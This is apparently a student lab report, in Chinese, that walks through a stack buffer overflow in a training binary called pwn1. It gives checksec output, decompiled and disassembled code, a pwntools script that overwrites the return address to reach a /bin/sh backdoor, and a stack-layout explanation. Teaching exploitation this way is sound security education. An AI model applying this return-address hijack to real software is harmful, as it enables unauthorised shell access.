20253916 2025-2026-2 《网络攻防实践》实践9报告

将下载好的文件拖入虚拟机中,我这里使用的是Ubuntu24.04 我的用户名为rain 已经安装了python虚拟环境
同时安装好了pwntools,以及checksec
image

本次实践的对象是一个名为pwn1的linux可执行文件。
使用soure 进入虚拟python环境
image
更改二进制可执行文件的访问权限 chmod a+x ./pwn1
使用checksec对该二进制文件进行检查
image

[*] '/home/rain/Desktop/test/pwn1'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

文件为32位程序基本保护都没开,将该文件拖到32位IDA中进行分析
image
f5进行反编译,主函数中只调用了foo()函数双击进行跟进

int __cdecl main(int argc, const char **argv, const char **envp)
{
  foo();
  return 0;
}

具体foo函数如下所示,使用了gets()函数但并未做长度检测,同时程序默认保护都没开,可以利用栈溢出。

int foo()
{
  char s[28]; // [esp+1Ch] [ebp-1Ch] BYREF

  gets(s);
  return puts(s);
}

s[28]在栈上空间长度为1C,所以覆盖空间为1C+ebp+ret
由于ebp与ret在32位情况下长度均为4字节(4*8=32位)
image
同时左侧getshell()函数留有后门操作,直接执行了/bin/sh 所以只需要劫持foo()函数的返回地址跳到getshell()函数即可,左侧getshell()函数地址为getshell_addr=0x804847d
image
foo函数的汇编如下:

.text:08048491 foo             proc near               ; CODE XREF: main+6↓p
.text:08048491
.text:08048491 s               = byte ptr -1Ch
.text:08048491
.text:08048491 ; __unwind {
.text:08048491                 push    ebp
.text:08048492                 mov     ebp, esp
.text:08048494                 sub     esp, 38h
.text:08048497                 lea     eax, [ebp+s]
.text:0804849A                 mov     [esp], eax      ; s
.text:0804849D                 call    _gets
.text:080484A2                 lea     eax, [ebp+s]
.text:080484A5                 mov     [esp], eax      ; s
.text:080484A8                 call    _puts
.text:080484AD                 leave
.text:080484AE                 retn
.text:080484AE ; } // starts at 8048491
.text:080484AE foo             endp

而对于整体攻击流程来讲则是使用
payload=b'a'*0x1c+p32(0)+p32(getshell_addr)
脚本与实验结果如下
image

from pwn import *
p=process('./pwn1')
context.log_level = 'debug'
elf = ELF('./pwn1')
getshell_addr=0x804847D
payload=b'A'*0x1C+p32(0)+p32(getshell_addr)
p.sendline(payload)
p.interactive()

具体原理如下

void getshell() {
    system("/bin/sh");
}

void foo() {
    char s[0x1c];
    gets(s);
}

int main() {
    foo();
    return 0;
}

当 main() 调用 foo() 时,程序会执行类似这样的指令:
call foo 不只是跳转到 foo() 函数,它还会先把“返回地址”压入栈中。
返回地址的作用是:
当 foo() 执行结束后,程序知道应该回到哪里继续执行。
3. foo() 函数中的栈结构
进入 foo() 函数后,栈上的结构大致如下:

低地址
+----------------+
| s[0x1c]        |  局部变量 s,占 0x1c 字节
+----------------+
| saved ebp      |  保存的 ebp,占 4 字节
+----------------+
| return address |  返回地址,占 4 字节
+----------------+
高地址

其中:
s[0x1c] 是局部变量缓冲区
saved ebp 是上一个函数的栈基址
return address 是 foo() 执行结束后要跳回去的位置
而对于payload而言:
b'a' * 0x1c -> 填满 s 缓冲区
p32(0) -> 覆盖 saved ebp,占位
p32(getshell_addr) -> 覆盖返回地址

  1. 整体攻击流程
    整个过程可以理解为:
main()
  |
  v
foo()
  |
  v
gets(s)
  |
  v
输入超长 payload
  |
  v
覆盖 saved ebp 和 return address
  |
  v
foo() 执行 ret
  |
  v
跳转到 getshell()
posted @ 2026-04-27 14:06  Maxn_Rain  阅读(12)  评论(0)    收藏  举报